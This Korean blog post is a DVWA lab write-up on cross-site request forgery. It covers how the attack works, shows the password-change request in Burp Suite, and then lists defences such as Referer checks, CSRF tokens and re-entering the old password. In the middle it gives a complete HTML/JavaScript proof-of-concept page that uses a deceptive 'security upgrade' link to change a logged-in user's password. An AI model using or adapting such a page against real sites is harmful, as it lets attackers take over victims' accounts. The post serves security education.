❓ 공격 개요
CSRF(Cross Site Request Forgery) 공격 개요
CSRF 공격은 공격자가 피싱을 이용하여 공격 대상이 되는 사용자에게 악성 링크를 누르게 하고, 링크를 클릭하면 사용자가 의도하지않은 웹사이트의 기능을 실행하는 것이다.
XSS 와 유사하지만 XSS는 공격대상이 Client 이지만 CSRF 는 공격대상이 Server 인점이 다르다.
또한 CSRF 공격이 성공적으로 이루어지기 위해서는 공격대상이 웹사이트에 로그인 상태로 유지되어야 한다
💻 실습
CSRF 의 메인화면이다 password 변경폼이 보인다.
Burpsuite 로 요청메시지를 확인해보자
Change 버튼을 눌렀을때 요청 메시지를 살펴보면
GET 메소드로 요청이 전송되며, password_new, password_conf 파라미터에 입력한 패스워드가 전달되고,
Change 파라미터에는 Change라는 값이 전달된다.
그리고 쿠키 헤더에는 PHPSESSID 쿠키와 security 레벨이 전달되고 있다.
즉 PHPSESSID 쿠키만 랜덤한 값을 가지고 있을뿐 나머지 파라미터, 헤더 정보등은
모두 지정된 값을 가지고있다.
이제 CSRF 실습을 해보자
먼저 CSRF 공격 코드를 작성할건데 아래 코드는
위 강의의 실습 코드를 참조하였다.
<!--
PoC: CSRF
Author: stayp05 (www.secuacademy.com)
-->
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='localhost';
//요청 URL과 똑같은 파라미터 구성
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",req_uri,true);
xmlhttp.withCredentials = "true"; // 요청이 전송될때 웹브라우저가 쿠키를 자동으로 전송하도록만 듬
xmlhttp.send();
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
공격자가 피싱을 하여 사용자가 위 html 파일을 누르게 되면,
그순간 자동으로 패스워드를 변경하는 CSRF 공격 요청이 웹 애플리케이션으로 전달된다.
사용자가 DVWA에 로그인 되어 있는경우 쿠키도 자동으로 포함되어 전송되기 때문에
웹 애플리케이션은 사용자가 로그인되어 있는것으로 판단하고 요청을 처리하게 되어
패스워드가 변경된다.
실습에 앞서 csrf.html 의 host부분을 실습환경의 dvwa ip 주소로 변경해주자
이제 변경한 csrf.html 파일을 웹 디렉터리인 /opt/lampp/htdocs로 옮긴후
csrf.html을 웹으로 접근할 수 있도록 만든다
DVWA에 admin 계정으로 로그인한 상태로
Click 를 누르면 Done!!이라는 문구가 뜨며 CSRF 공격이 실행된다.
Click 을 누를때 요청값을 확인해보면 다음과 같이
password를 hacker로 변경하는 요청이 전송된 것을 확인할 수 있다.
이제 로그아웃 후 다시 로그인해보자
이전의 패스워드인 password로는 로그인이 되지않는다
이로써 csrf 공격이 성공한 것을 확인 할 수 있다
🔍 대응방안
1. 요청 메시지의 Referer 헤더 검사
> Referer 헤더는 해당 요청을 링크하고 있던 이전 웹페이지 주소를 알려주는 헤더이다.
> 만약 정상적인 사용자의 요청이 었으면 DVWA 사이트 내부의 URL 이 표시되었을 테지만 아래 실습 내용을 확인해보면 Referer 헤더가 공격자가 만든 피싱 사이트 임을 확인할 수 있다.
> Referer 헤더를 확인하여 요청을 전송시킨 출처페이지를 확인하게 되면 정상적인 요청인지 판별할 수 있다
2. CSRF 토큰 사용
> CSRF 공격 대응을 위해 포함시키는 랜덤한 값을 CSRF 토큰이라고 한다.
> 쿠키 외에 공격자가 추측할 수 없는 값이 요청 메시지의 파라미터 등에 포함되어 있다면 공격자는 CSRF 공격을 성공시키기 어려워 진다.
> 위 소스코드를 보면 user_token 이라는 값을 랜덤하게 생성하여 hidden 폼 필드를 통해 클라이언트로 전송한다.
클라이언트는 이전 응답 메시지에 포한된 토큰값을 다음 요청시 포함하여 전송하게 되는데,
웹 애플리케이션이 CSRF 토큰값을 검사하면, 정상적인 과정을 통해 전달된 요청인지 확인할 수 있다.
3. 기존 패스워드 요청
> 기존의 패스워드를 다시한번 입력받도록 하여 사용자 본인이 직접 기능을 실행하는지 확인한다.
> 공격자는 사용자의 기존 패스워드를 알 수 없기 때문에 CSRF 공격을 할 수 없게된다.
'Web Hacking > DVWA' 카테고리의 다른 글
[DVWA] - Insecure CAPTCHA (0) | 2022.11.09 |
---|---|
[DVWA] - File Upload (0) | 2022.11.08 |
[DVWA] - File Inclusion (0) | 2022.11.07 |
[DVWA] - Command Injection (1) | 2022.11.02 |
[DVWA] - Brute Force (0) | 2022.11.02 |